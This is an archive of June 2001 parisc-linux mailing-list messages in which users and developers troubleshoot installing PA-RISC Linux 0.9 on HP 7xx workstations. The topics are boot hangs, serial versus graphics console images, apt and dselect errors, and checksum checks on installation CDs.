http://mkhppa1.esiee.fr/en/list.html

Thanks for reading, Thomas
ESIEE Team




From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A detailed support list
Date: Thu, 7 Jun 2001 14:39:46 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20010607143946.A14487@zouave.sonic.net>
References: <3B1FF0FB.DCCDF6B3@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620195 20599 80.91.229.3 (22 Nov 2014 01:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:35 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  7 15:39:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA24D482A
	for <parisc-linux@parisc-linux.org>; Thu,  7 Jun 2001 15:39:48 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP
	id 6591166CC; Thu,  7 Jun 2001 14:39:47 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id B9F6D24; Thu,  7 Jun 2001 14:39:46 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3B1FF0FB.DCCDF6B3@esiee.fr>; from marteaut@esiee.fr on Thu, Jun 07, 2001 at 11:24:11PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11283

On Thu, Jun 07, 2001 at 11:24:11PM +0200, Thomas Marteau wrote:
} Hi PA/Linux guys,
} 
} 	We put on line a list that sums up for all HP boxes the status of
} PA/linux. If you have any comment or if you have any good news to add,
} please mail us. We really want to keep this list up-to-date!
} 
} http://mkhppa1.esiee.fr/en/list.html

Nobody has mentioned the 745s yet?  745i A2638B 50MHz.
We have a boatload of them around here.

-- 

   E Frank Ball                efball@efball.com




From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Thu, 7 Jun 2001 23:20:03 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20010607232003.B2308@solo.franken.de>
References: <F214YiMCIqtQvAauNjV0001bb18@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620196 20605 80.91.229.3 (22 Nov 2014 01:36:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Werneke <mikewerneke@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  7 16:13:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951CBCB.dip.t-dialin.net [217.81.203.203])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7FC6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Jun 2001 16:13:48 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id XAA03492;
	Thu, 7 Jun 2001 23:20:04 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <F214YiMCIqtQvAauNjV0001bb18@hotmail.com>; from mikewerneke@hotmail.com on Thu, Jun 07, 2001 at 03:51:22AM -0000
Xref: news.gmane.org gmane.linux.ports.parisc:11284

On Thu, Jun 07, 2001 at 03:51:22AM -0000, Mike Werneke wrote:
> --snip
> CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
> Kernel command line: HOME=/ TERM=linux root=/dev/ram console=tty0 sti=0 
> sti_font=VGA8x16
> Console: colour dummy device 80x25
> snip--
> 
> and then hangs.  Could this be a bad iso image? Or is this a known issue? 

no, you are running the sti console kernel on a not supported frame buffer.
Use the 32serial image.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "KIMHI,YEHOSHUA (HP-Israel,ex1)" <yehoshua_kimhi@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation of palinux-0.9-32serial.iso
Date: Fri, 8 Jun 2001 01:14:43 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <733CA39D4982D411AD080090278CBE390CD8D2@shalom.israel.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620196 20607 80.91.229.3 (22 Nov 2014 01:36:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:36 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  7 17:14:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnmg1.net.external.hp.com (bbnnmg1.net.external.hp.com [155.208.254.184])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7D29482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Jun 2001 17:14:53 -0600 (MDT)
Original-Received: from isoit213.bbn.hp.com (isoit213.bbn.hp.com [15.136.193.32])
	by bbnmg1.net.external.hp.com (Postfix) with ESMTP id 64AD89B6
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 01:14:52 +0200 (METDST)
Original-Received: from aare.GVA.HP.COM (aare.gva.hp.com [15.152.18.77])
	by isoit213.bbn.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id BAA11855
	for <parisc-linux@lists.parisc-linux.org>; Fri, 8 Jun 2001 01:14:44 +0200 (METDST)
Original-Received: from 15.152.18.77 by aare.GVA.HP.COM (InterScan E-Mail VirusWall NT); Fri, 08 Jun 2001 01:14:44 +0200 (W. Europe Daylight Time)
Original-Received: by aare.gva.hp.com with Internet Mail Service (5.5.2653.19)
	id <L5ZA3AN2>; Fri, 8 Jun 2001 01:14:44 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11285


-----Original Message-----
From: parisc-linux-announce-admin@lists.parisc-linux.org
[mailto:parisc-linux-announce-admin@lists.parisc-linux.org]
Sent: Thursday, June 07, 2001 6:20 PM
To: yehoshua_kimhi@hp.com
Subject: parisc-linux-announce request rejected


Your request to the parisc-linux-announce mailing list:




Hi there,

I am trying to install the palinux-0.9-32serial.iso 715/G machine with
serial console.
The machine boot from the CD but at the stage of the packages installation
it fail 
It claim that the packages are corrupted.
I tried to use the shell and mount the file system /dev/sda3. Then I copied
the whole CDROM to this file system.
Then I tried to install the base from this mountable file system.
It fail on the first package claiming that it can't download 'adduser'
package.
I don't have any other linux machine around so I can't use the NFSROOT
option (I mean follows the NFS-root-howto and compilation of new kernel with
the IP of NFS server etc..)
I do have around hp-ux machines, Is there a way to compile kernels on hp-ux?
Is there a way to continue from this stage??
Maybe install in some way the NFS and then mount file system which contain a
tarball of nfsroot??
Any other suggestion workarounds etc.. will be most helpful.

Regards,

shuki
**********************************************
Yehoshua Kimhi
ERC
Hewlett-Packard Israel
Email: yehoshua_kimhi@hp.com Telnet: 7810-527
Tel.: +972-3-5380527 Fax: +972-3-5380515 
**********************************************






From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dselect problems
Date: Fri, 8 Jun 2001 11:47:39 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20010608114739.I16532@linuxcare.com>
References: <20010606140212.A11814@zouave.sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620196 20611 80.91.229.3 (22 Nov 2014 01:36:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: E Frank Ball <frankb@efball.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 04:51:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16074482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 04:51:30 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B41B8B007; Fri,  8 Jun 2001 11:47:39 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010606140212.A11814@zouave.sonic.net>; from frankb@efball.com on Wed, Jun 06, 2001 at 02:02:12PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11286

On Wed, Jun 06, 2001 at 02:02:12PM -0700, E Frank Ball wrote:
> 
> I have a 712/80 and a graphics monitor (HP A1097C).  I got the base
> system running from the palinux-0.9-32sti.iso CD.
> 
> I then tried to run "dpkg-reconfigure base-config".  It got to where it
> is supposed to install the packages and died with a message:  failed
> running script /usr/sbin/dpkg-preconfigure --apt || true
> apt-utils is not installed.

apt-utils isn't installed, true, but it isn't installed for anyone
else at this stage either.  Don't know why you see this problem.

> I got apt-utils to install with "apt-get install apt-utils", but now I
> can't get anything else to install either with dselect or apt-get.  I
> get errors about "couldn't stat source package list cdrom...
> - stat (2 no such file or directory).

Sounds like the CDROM is not mounted, or not mounted where
/etc/apt/sources.list says it is.  I have

deb http://beast:80/rel0.9/debian sid main
deb http://beast:80/rel0.9/more-packages/debian sid main

in my sources.list, but that is because I installed from http.  I don't
have an entry for CDROM source atm, sorry.

If you updated apt (dpkg -l apt) to 0.5.3, you may have to update its
pkg list with "apt-get update".

Perhaps someone with a CD based install could post their sources.list
as an example?

> "which stat" shows nothing.  I don't see a stat package either.
> This is my first experience with Debian.

"stat" is probably referring to the system call stat() having failed.
Basically it is saying that some file it wants to access doesn't exist.

Richard





From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dselect problems
Date: Fri, 8 Jun 2001 11:55:50 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010608115550.J16532@linuxcare.com>
References: <20010606140212.A11814@zouave.sonic.net> <20010606141807.B11814@zouave.sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620196 20617 80.91.229.3 (22 Nov 2014 01:36:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: E Frank Ball <frankb@efball.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 04:59:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB8DE482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 04:59:38 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 285D9B007; Fri,  8 Jun 2001 11:55:50 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010606141807.B11814@zouave.sonic.net>; from frankb@efball.com on Wed, Jun 06, 2001 at 02:18:07PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11287

On Wed, Jun 06, 2001 at 02:18:07PM -0700, E Frank Ball wrote:
> On Wed, Jun 06, 2001 at 02:02:12PM -0700, E Frank Ball wrote:
> } 
> } I have a 712/80 and a graphics monitor (HP A1097C).  I got the base
> } system running from the palinux-0.9-32sti.iso CD.
> 
> It had rebooted ok a couple of times, but now it get to starting cron,
> then register dumps with a kernel fault.

As mentioned in the errata <http://parisc-linux.org/release-0.9/errata.html>,
sti installs have a tendency to crash on reboot at the moment.  If this is a
repeatable problem, I'd be interested in the register dump.

Richard





From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation of palinux-0.9-32serial.iso
Date: Fri, 8 Jun 2001 12:50:30 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20010608125030.M16532@linuxcare.com>
References: <733CA39D4982D411AD080090278CBE390CD8D2@shalom.israel.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620197 20619 80.91.229.3 (22 Nov 2014 01:36:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:37 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "KIMHI,YEHOSHUA (HP-Israel,ex1)" <yehoshua_kimhi@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 05:54:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46078482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 05:54:17 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C36DDB007; Fri,  8 Jun 2001 12:50:30 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <733CA39D4982D411AD080090278CBE390CD8D2@shalom.israel.hp.com>; from yehoshua_kimhi@hp.com on Fri, Jun 08, 2001 at 01:14:43AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11288

On Fri, Jun 08, 2001 at 01:14:43AM +0200, KIMHI,YEHOSHUA (HP-Israel,ex1) wrote:
> I am trying to install the palinux-0.9-32serial.iso 715/G machine with
> serial console.
> The machine boot from the CD but at the stage of the packages installation
> it fail 
> It claim that the packages are corrupted.
> I tried to use the shell and mount the file system /dev/sda3. Then I copied
> the whole CDROM to this file system.
> Then I tried to install the base from this mountable file system.
> It fail on the first package claiming that it can't download 'adduser'
> package.
> I don't have any other linux machine around so I can't use the NFSROOT
> option (I mean follows the NFS-root-howto and compilation of new kernel with
> the IP of NFS server etc..)
> I do have around hp-ux machines, Is there a way to compile kernels on hp-ux?
> Is there a way to continue from this stage??
> Maybe install in some way the NFS and then mount file system which contain a
> tarball of nfsroot??
> Any other suggestion workarounds etc.. will be most helpful.

Don't know what your problem is, it seems you have installed the
kernel and modules from CD (or local disk) without problems, but
have trouble with the base system files.  Failing on adduser can
often mean a problem with the Packages file.

Have you rechecked your CD to make sure the md5sum is right?

You might also scroll down the installer menu to 'Execute a shell',
and then do md5sum on some files to check they are being read
properly.  Files worth checking are:

105fbd1a274528ca2b5cc93fd3b9dd08  debian/dists/sid/Release
1ab866241b09154589453958ebab8673  debian/dists/sid/main/binary-hppa/Release
f37073f9eb41413815e44285bcbb02a6  debian/dists/sid/main/binary-hppa/Packages
51235d20debb1ffce01732b3bff129ee  debian/dists/sid/main/binary-hppa/Packages.gz
340a87e3412321b4ac2c0522b23c7a70  debian/dists/sid/main/binary-hppa/base/adduser_3.36_all.deb

>From the installer shell you can do something like

debootstrap sid /target file:/instmnt/debian

with your target disk mounted under /target, and CD debian tree under
instmnt.  That will give more output, which might give a clue.

Richard





From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Fri, 8 Jun 2001 09:05:56 -0500
Lines: 68
Approved: news@gmane.org
Message-ID: <01060809135000.00472@wolf01.my.home>
References: <F214YiMCIqtQvAauNjV0001bb18@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620197 20623 80.91.229.3 (22 Nov 2014 01:36:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:37 +0000 (UTC)
To: "Mike Werneke" <mikewerneke@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 08:14:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78AF5484D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 08:14:31 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp52.cc1.pflash.com [63.121.24.54]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005335229@vopserver.pflash.com>;
 Fri, 8 Jun 2001 09:09:19 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11289

Hi Mike
& Everyone

Try this:

Do a manual boot - so that you: boot xxxxxx IPL

Using the command line editor built into IPLBOOT -
Change the:: console=3Dtty0 entry
To: console=3DttyB
Proceed with boot.

Expect: Boot should proceed normally, until -
you get a message about "unable to open initial terminal"

If such is the case, then your model 735 is affected by a
problem reported for other models. =20
Please post your results - the more model specfic
information availabe for the people working the problem,
the better.

At this point, kernel should be running and responding to
other points of access (such as over the network).

Mike (to Mike)


On Wed, 06 Jun 2001, Mike Werneke wrote:
> Hello.
>=20
> I have an HP Apollo 735/99 workstation with 112MB RAM and a 2GB HD.  Th=
e=20
> external SCSI CDROM is a bit old, but it's Sony from Sun.  I burned the=
=20
> 32-bit graphical iso this afternoon and it booted into the 2.4.0-pa10=20
> kernel.   After it's done searching for devices (it finds 13 of them), =
it=20
> prints out:
>=20
> --snip
> CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
> Kernel command line: HOME=3D/ TERM=3Dlinux root=3D/dev/ram console=3Dtt=
y0 sti=3D0=20
> sti_font=3DVGA8x16
> Console: colour dummy device 80x25
> snip--
>=20
> and then hangs.  Could this be a bad iso image? Or is this a known issu=
e?=20
> Any help would be greatly appreciated (as is all the effort already don=
e by=20
> the developers of the parisc port).
>=20
> Thanks-
>=20
> Mike Werneke
> _________________________________________________________________
> Get your FREE download of MSN Explorer at http://explorer.msn.com
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Fri, 8 Jun 2001 09:15:02 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <01060809163401.00472@wolf01.my.home>
References: <20010607232003.B2308@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620197 20626 80.91.229.3 (22 Nov 2014 01:36:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	Mike Werneke <mikewerneke@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 08:17:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70531484D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 08:17:13 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp52.cc1.pflash.com [63.121.24.54]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005335261@vopserver.pflash.com>;
 Fri, 8 Jun 2001 09:12:09 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11290

Note to all -

The problem exists (on my 720) WITHOUT the frame buffer code
in the image.

Mike

On Thu, 07 Jun 2001, Thomas Bogendoerfer wrote:
> On Thu, Jun 07, 2001 at 03:51:22AM -0000, Mike Werneke wrote:
> > --snip
> > CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
> > Kernel command line: HOME=3D/ TERM=3Dlinux root=3D/dev/ram console=3D=
tty0 sti=3D0=20
> > sti_font=3DVGA8x16
> > Console: colour dummy device 80x25
> > snip--
> >=20
> > and then hangs.  Could this be a bad iso image? Or is this a known is=
sue?=20
>=20
> no, you are running the sti console kernel on a not supported frame buf=
fer.
> Use the 32serial image.
>=20
> Thomas.
>=20
> --=20
> Crap can work. Given enough thrust pigs will fly, but it's not necessar=
y a
> good idea.                                 [ Alexander Viro on linux-ke=
rnel ]
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Fri, 8 Jun 2001 15:42:29 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20010608154229.S16532@linuxcare.com>
References: <F214YiMCIqtQvAauNjV0001bb18@hotmail.com> <01060809135000.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620198 20630 80.91.229.3 (22 Nov 2014 01:36:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:38 +0000 (UTC)
Cc: Mike Werneke <mikewerneke@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
To: "Michael S . Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 08:46:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id C858A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 08:46:16 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 79BADB007; Fri,  8 Jun 2001 15:42:29 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01060809135000.00472@wolf01.my.home>; from mszick@pflash.com on Fri, Jun 08, 2001 at 09:05:56AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11291

On Fri, Jun 08, 2001 at 09:05:56AM -0500, Michael S . Zick wrote:
> Hi Mike
> & Everyone
> 
> Try this:
> 
> Do a manual boot - so that you: boot xxxxxx IPL
> 
> Using the command line editor built into IPLBOOT -
> Change the:: console=tty0 entry
> To: console=ttyB
> Proceed with boot.
> 
> Expect: Boot should proceed normally, until -
> you get a message about "unable to open initial terminal"
> 
> If such is the case, then your model 735 is affected by a
> problem reported for other models.  
> Please post your results - the more model specfic
> information availabe for the people working the problem,
> the better.
> 
> At this point, kernel should be running and responding to
> other points of access (such as over the network).

I don't see how this helps at all for people trying to install
from the ISOs.  True the kernel might continue to boot it you set
console=ttyB, but it is hardly going to respond to the network.
It hasn't been given an IP address, isn't running inetd, etc.

If you were to create a configured system somehow (on nfsroot
perhaps) you might be able to boot and access the system via
the network.

Richard





From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Fri, 8 Jun 2001 15:52:49 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20010608155249.T16532@linuxcare.com>
References: <20010607232003.B2308@solo.franken.de> <01060809163401.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620198 20632 80.91.229.3 (22 Nov 2014 01:36:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:38 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	Mike Werneke <mikewerneke@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
To: "Michael S . Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  8 08:56:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54317482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Jun 2001 08:56:37 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 58701B007; Fri,  8 Jun 2001 15:52:49 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01060809163401.00472@wolf01.my.home>; from mszick@pflash.com on Fri, Jun 08, 2001 at 09:15:02AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11292

On Fri, Jun 08, 2001 at 09:15:02AM -0500, Michael S . Zick wrote:
> Note to all -
> 
> The problem exists (on my 720) WITHOUT the frame buffer code
> in the image.

Well, with CONFIG_STI_CONSOLE and CONFIG_FB_STI both unset your kernel
can't be hanging after "Console: colour dummy device 80x25", can it?
So at this point I don't think we know it is the same problem on
735+sti as it is on your 720+serial.

Richard

> Mike
> 
> On Thu, 07 Jun 2001, Thomas Bogendoerfer wrote:
> > On Thu, Jun 07, 2001 at 03:51:22AM -0000, Mike Werneke wrote:
> > > --snip
> > > CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
> > > Kernel command line: HOME=/ TERM=linux root=/dev/ram console=tty0 sti=0 
> > > sti_font=VGA8x16
> > > Console: colour dummy device 80x25
> > > snip--
> > > 
> > > and then hangs.  Could this be a bad iso image? Or is this a known issue? 
> > 
> > no, you are running the sti console kernel on a not supported frame buffer.
> > Use the 32serial image.
> > 
> > Thomas.




From - Thu Nov 08 21:18:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Fri, 8 Jun 2001 10:41:08 -0500
Lines: 50
Approved: news@gmane.org
